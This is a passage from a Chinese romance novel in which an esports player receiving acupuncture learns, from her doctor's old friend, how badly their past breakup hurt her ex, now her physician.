或许是因为人都是讲究习惯性的生物,看病以来,从来没有别的医生接手过她的治疗,哪怕左京墨今天不用上班,也照常到了诊所为她理疗。
又或许是因为家里马上要没了厨子,说好的一日一甜点也跟着没了着落,即将回归到黄蓝色外卖软件前,意外的有些不适应。
总之,如果想找理由,她有很多很多个。
但事实,往往只有一个。
寂静的夜里,沉默是最好的伴奏曲。
沈灯心倾情演绎,而台下唯一的观众却默不作声。她见状,识趣的收回手机,抬眸的瞬间两人对视——
他紧蹙的眉头渐渐舒展,那双标志性的桃花眼里一扫阴霾,泛着点点光亮,日出消弭。
汩汩笑意从他微扬的眼角流出,看得人心痒。
“谁说我不加了。”
他捏住沈灯心的手机前端,大拇指向内用力,将手机转了个面,“有什么事可以给我发消息,”
扫一扫的界面短暂停留,沈灯心成功加上了他的好友。
屋里的空调还有些凉,她哆哆嗦嗦的蜷缩进被子里,一室之内,唯有手机的光亮打在脸上。
沈灯心正在视奸左京墨的微信。
他换了个从前没见过的头像,看起来像是自己拍的。
古木参天,郁郁葱葱。
祈福用的红色带子挂满了枝丫,迎风飘扬。一个小猫形状的存钱罐被他捧在掌心,身后是香火不断的寺庙。
他什么时候这么信这些东西了。<
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他也有求而不得的东西么。
贝齿啃咬起嘴皮,这是她陷入思考的动作。
沈灯心点开他的朋友圈,视线所及之处,是一行明晃晃的灰色字。
[朋友仅展示最近三天的朋友圈。]
-
沈灯心醒来的时候,总觉得家里空了点什么。
换好衣服,天燥的她有些口渴,端着杯子先去厨房接了杯水。
饮水机的温度被设定为45℃,入口适中,不会伤胃。
清苦的药味吸引她向右看去,只见大理石柜台上安然摆放着几袋中药液。
不多也不少,一天两袋,两天四袋,就连每日每餐该喝哪一袋都标的清清楚楚。
晨风裹着暖意,吹起他放在中药液后的东西,一张荧光色的便签纸在柜台上格格不入。
沈灯心唇角轻颤,放下水杯,走近了些。
便签纸贴在保鲜盒上,他的字依旧遒劲有力。
——桂花熟梨糕,喝完中药吃。
再一看。
透过蛋白色的保鲜盒盖,一盘草青色的梨型糕点正安然端坐,看着格外耐人。
冯弈萱说过的话从耳边嗡鸣,她看着精致更甚的熟梨糕,心里被豁开了一道微不可察的口子。
其实,他本可以不做这些的。
没来由的,沈灯心想起从前和爷爷奶奶生活在一起的日子。
她喜欢绚烂的东西,每逢过年总吵嚷着说要放炮,几次差点炸着自己的手,打小就是个让人操心的熊孩子。
后来,爷爷奶奶为了她的安全着想,给她买了另外一种烟火,名为冷烟火。
相较于普通烟火,冷烟火摒弃了火药和氧化剂,光芒却比普通烟火更绚烂。
燃点低,冷光无烟,不会灼伤人。
现在再看。
左京墨的举动无异于往她心里塞了一把冷烟火。因为燃点低,她不需要向他走出一百步,只是一句话,一个举动,又或者只是因为之前的纠葛,便可以将其点燃。
没有过度的热情,更没有汹涌的恨意。
他只是静悄悄的绽放出光和热,等待她意外窥见绚烂的那天到来。
却不知。
身在烟火旁的人,怎么会感觉不到热。
18.第十八味药
来到诊所,途径左京墨诊室时,她放缓了脚步。
大门紧闭,木质香味挥发的一干二净,里面封锁了部分他们之间的新记忆。
敲了两下隔壁诊室的门,沈灯心走了进去,礼貌一笑:“你好。”
如果她记得没错,她已经同谭明臣见过两次面。
第一次在停车场,第二次在昨天。
说实话,她对他的初印象谈不上好,觉得他这人有点八卦,还带着股痞子味,吊儿郎当的模样儿和齐正阳略有共同之处。
真不明白,像左京墨那样沉稳的人,怎么会选择和他做朋友。
“坐吧。”
他投来目光,上下打量她,“左京墨应该都跟你说过情况了吧,这两天,就由我来给你理疗。”
“不过,我可提前说好,我的施针技术可没有他好,你得多多见谅。”
谭明臣的唇角晕开笑意,狐狸眼微眯,起身离开座位。
同样的诊室布局,却是截然不同的布置。
沈灯心坐在椅子上,双手交叠,多年的防gank意识让她预知到了些许不安。
动漫里有言,眯眯眼的都是怪物。
她对谭明臣那探索的目光感到不适,与其等他询问,倒不如自己主动出击。
“谭医生。”她开口,“我总觉得,您好像有什么话想对我说。”
谭明臣准备理疗设备的手一顿,鼻腔里传来一声轻笑,很直率的回答:“没错。”
“……”
没料到他会这么轻松的承认,沈灯心有些愕然:“那,您有什么问题不妨直说,我也不是个喜欢兜圈子的人。”
电子理疗仪贴片贴上手腕,他动作干净利落,身体向后半靠桌沿,点了点桌上的一张照片。
“其实,我朋友是你的粉丝,可以给我签个名吗?”
“……”
电流带动她的手腕肌肉,沈灯心抽动嘴角,一时间不知道说些什么。
这家伙真的不是来搞笑的吗?
她大招都给出去了,谁料对面非但不和她硬碰硬,还默默点了个净化。
沉默无声环绕整个诊室,谭明臣趁着她理疗的空隙,翻看了左京墨给她写的病情诊断书。
内容详实,用药精准,堪称无可挑剔。
按照他的医术,没准还真能让她在世界赛前痊愈个七七八八。
撕下贴片,皮肤因撕扯略微感痛。
冰凉的酒精喷洒在手腕,谭明臣捏起盒中的银针,随口问了句:“你知不知道,左京墨有个负心汉前女友?”
他语气平淡,说出这话时像喝水一样自然,瞄准穴位将针刺了进去。
没有想象中的痛。
沈灯心从他的话里隐约听出几分戏谑,不知道该怎么回复他,也不知道这个人出于什么身份来问。
但她想了想,觉得自己应该有权继续保持沉默。
十一根针全部扎完,谭明臣回到座位上,环臂看向她,笑意不达眼底。
“嗳~”
“你该不会就是他的那个负心汉前女友吧?”
……
一句话。
只是短短的一句话。
但也足以将沈灯心剥皮抽骨。
当年两人分开,责任确实主要在她。
她也知道自己有错,可被谭明臣这么一说,难免还是有些恼,索性直接承认。
“是又怎么样。”她喉头发涩,反过来质问他,“我倒是想知道,你和左京墨到底是什么关系,又站在什么立场来说这句话。”
沈灯心的情绪有些激动,手指打颤,被针灸的地方泛起密密麻麻的疼。
窗户没关严,热风呼啦啦的跑进来,无疑让人更燥。
谭明臣没着急回她,手指有一搭无一搭的敲着键盘,打字音听得沈灯心难受。
这人到底在搞什么名堂。
缄默良久,电针灸仪器发出提示音,他这才堪堪出声。
“我和他,打从娘胎里就认识。”
谭明臣走到她面前,替她一个一个取下针,声线低沉:“大学的时候,我出了一趟国。谁成想,回来以后就看见他那副要死不活的模样,活脱像我家门口那条媳妇跑了的狗,整日就知道待在那个破烂屋里,不知道在守什么。”
“问过朋友才知道,原来他是谈了一场不着边的恋爱,被人骗心骗身骗感情,偏偏他自己感觉不到。再
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后来,我实在看不惯他那个狼狈样,趁他醉着强行把他带走。结果,你猜我发现了什么?”
他故意停顿,接着冷笑,充斥着嘲讽的意味:“他那个傻x,手心里紧攥着的,是一张你和他的照片。”
阳光将沈灯心切割成大小不一的碎块,多年来维系好的记忆拼图被人生生打乱,时间线也跟着一起紊乱。
谭明臣的话是新的记忆碎片,强硬的安插进她记忆里忽略的每个重点。
重组记忆无异于脱胎换骨,她有些庆幸自己是在坐着。
不然现在的她,可能风一吹,就倒了。
她无法用大脑去思考他说的每一句话,只是听着。
但也只是听着,她的脏器就已经要超负荷到报废,在烈日的炙烤下逐渐融化。
“我知道,你们俩之间的感情我本不应该过问的,显得我好像很爱管闲事一样。”他说着,把针放进针车,神情意外的有些老成,“但左京墨是我最好的朋友,我不想他再被人当成狗耍。”
谭明臣正了正神色,狐狸眼里忽明忽暗。
“我就问你一句话。”他说,“你这次,对他到底是什么感情?”
-
说来也巧。
在她被这问题问懵的五秒内,门外之人很福至心灵的敲了敲门,一招声东击西打断了谭明臣的大招。
问题就此搁置。
“稍等。”
他拉上帘子,给她保留隐私,“应该是来复诊的,我先去看看情况,有不舒服就说。”
沈灯心点头,插满针的右手手腕像只刺猬。
门吱呀一声被推开,沙哑中略显苍老的声音飘进耳朵。
隔着帘子,她只看得清大概身形。
岁数不小,六七十岁上下,背有些驼,走路时一顿一顿的,应该是坡脚。
“小谭啊,自从喝了你开的中药,我这把老骨头那是腰也不痛了,腿也不酸了!”
“今天来复查,果然是有所好转啊!”
老人笑呵呵的将单子递过去,谭明臣一看,声音明显轻快许多:“这理疗和中药双管齐下,治疗效果肯定是好的,这样,我给您调整几味药,一星期后再来复诊。”